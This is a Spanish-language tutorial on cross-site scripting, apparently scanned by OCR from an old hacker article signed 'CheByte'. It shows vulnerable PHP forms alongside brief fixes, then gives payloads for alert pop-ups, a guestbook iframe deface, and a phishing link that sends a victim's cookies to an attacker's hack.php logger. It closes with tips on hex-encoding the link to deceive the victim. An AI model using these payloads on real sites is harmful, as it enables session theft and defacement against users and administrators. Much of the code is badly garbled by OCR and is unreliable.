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Conceptos

XSS: (Cross Site Scripting) - tipo de vulnerabilidad surgida como
consecuencia de errores de filtrado de las entradas del usuario en
aplicaciones web.

Se trata de usar diversas técnicas para inyectar codigo de marcas
(html), codigo ejecutable en la maquina cliente
(Javascript/VBScript/ActiveX) o codigo ejecutable en el servidor
(PHP/ASP) en las entradas de aplicaciones web con el fin de
conseguir muy diversos objetivos limitados por la capacidad del
lenguaje inyectado para vulnerar al cliente o al servidor de la
aplicacion web.

Inyeccion: Termino referente a la insercion de algtin tipo de
codigo.

Cookies: Una cookie (en inglés, galleta) es un fragmento de
informacion que se almacena en el disco duro del visitante de una
pagina web a través de su navegador, a peticion del servidor de la
pagina. Esta informacion puede ser luego recuperada por el servidor
en posteriores visitas

Webapp : Termino abreviado de “aplicaciones web”.
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Xss, es una técnica bastante popular en estos dias. Si bien su
amenaza no va dirigida a los servidores,sino mas bien a los usuarios
y sitios, de los cuales se podria obtener datos mediante ing. social,
hacer defaces simples,etc.

En este articulo nos vamos a basar solo en ejemplos ya que esta

técnica en si, no contiene mucha teoria.
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Ejemplos

Ejemplo 1

ejemplol.php

<htm >

<body>

<hl>Ej enpl o 1</ hl>

<form action='ej enpl 01- 2. php' net hod=' post"' >

<cent er><hl1><b>Elige tu sistenma favorito</b></hl></center><br>
<i nput type="radi 0" nanme="o0s" val ue="Li nux">Li nux<br>
<i nput type="radi 0" nanme="o0s" val ue="W ndoz">W ndoz<br >
<i nput type="radi 0" nanme="o0s" val ue="MacOS"'>MacCOs<br >
<center><i nput type="submt" val ue="send"></center>
</fornp

</ body>

</htm >
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ejemplo1-2.php

<?

$Choi ce = $_REQUEST[ os] ;

/1 Sol ucion: $Choice = htmentities($ _REQUEST[o0s]);
?>

<htm >

<head><TI| TLE>Ej enpl 01</ Tl TLE></ head>
<body>

<br >

<center>

<h1>El egi ste: <? echo $Choi ce?></hl>
</ center>

</ body>

</htm >

En el ejemplol.php se presenta una encuesta, luego de seleccionar
alguna opcion, los datos son enviados a la pagina “ejemplo]1-
2.php” , en donde se los imprime.

Este simple ejemplo permite inyectar codigo XSS, debido a que la
variable no esta filtrada, un ejemplo de inyeccion podria ser:

http://victima.com/ejemplol.2.php?os=<script>alert('CheByte')
</script>
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Ejemplo 2
ejemplo2.php

<hnt | >

<body>

<b>Ej enpl 0 2</ b>

<br >

<form action='./ejenpl 02. php' nethod=' post' >

URL de | a inagen: <input type='text' name="url'value= http://'
| engt h=" 50" ><br >

<i nput type='submt'>
</fornp
<?

i f(lenmpty($submt))
/1 Sol uci on: $url =addsl ashes($url);
echo "<ing src=\"$url\">\n";

?>
</ body>
</hntl >

Este ejemplo permite ingresar una imagen, donde luego se la
mostrara.

Como en este ejemplo tampoco se hace un filtro de lo que se ingresa
podriamos hacer las siguientes inyecciones.

En el campo de url se podria inyectar:

http://victim. conl hol a.jpg>"<script>alert(' CheByte')</script>
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Otra tipo de inyecion que podriamos ingresar en el box de url

http://viticma. conf hol a.j pg>"<scri pt>docunent. cooki e</scri pt>

Unas de las webapps mas vulnerables a este tipo de ataques
son los guestbook, la cual la mayoria no realiza controles de
datos, permitiendo hacer un simple deface ingresando cdédigo
html, ya que los datos son almacenados en una base de
datos.

Este deface se lo podria realizar inyectando en la firma dentro del
guestbook

<iframe src=http://Tu_pagi na/ hack. php>

el codigo de hack.php podria tener la forma

<SCRI PT TYPE="text/javascript" LANGUAGE=JAVASCRI PT>
<l --

I f (top.frames. | ength! =0)

top. |l ocation=sel f.docunent. | ocati on;

I -->

</ SCRI PT>

BY CHEBYTE

Esto ocasionaria que cada ves que se ingrese al guestbook, se abra
la pagina hack.php como frame superior con el texto “BY CHEBYTE”.
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Con esta técnica también se puede obtener datos del usuario

como ser las cookies.
A continuacion vamos a ver un ejemplo de como obtenerlas.

Supongamos que encontramos una falla de XSS en el sitio xxxx.com.
Conseguimos el email del administrador o de algun usery le
podriamos enviar el siguiente link.

htt p: // xxxx. conif gnusoft/i mages/ W ndows. gi f name="hi a"
onl oad="hi a. src="http://TU_URL/ hack. php?cooki e=" %
20+docunent . cooki e; " >

Donde el cédigo de hack.php seria:

<?
$cooki e = $ REQUEST[ cooki €] ;
$fi | e=f open("cookies.txt", "a");

fput ($file, "$cookie\n");
fclose($file);
2>

El usuario al entrar a ese link, envia automaticamente sus cookies a
nuestro pagina hack.php, donde son almacenadas en el fichero
cookies.txt.

Para hacer un poco mas realista y aumentar la dificultad del engarno
se podria camuflar el codigo xss de la url transformandola a
hexadecimal.
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| Si mbol o Cb4di go| hexa- deci nal |
| 1] 91|
| " | 922|
| #] 923
| $| 9R4|
| %4 925|
| & 926
|| 97|
| (| %&28|
|) | %&29]
| *| Y2A|
| +| %&2B]
|, | %2C
| - | 92D
| . | 9RE|
| /| Y2F]
| - | 9BA|
| ;| Y38
| <| 9%8C]
| =| 98D
| >| YBE|
| 7| YBF|
| @ %10|
| [| %8|
|\ 9%C
|11 %0
| | YBE|
| _| YoF]




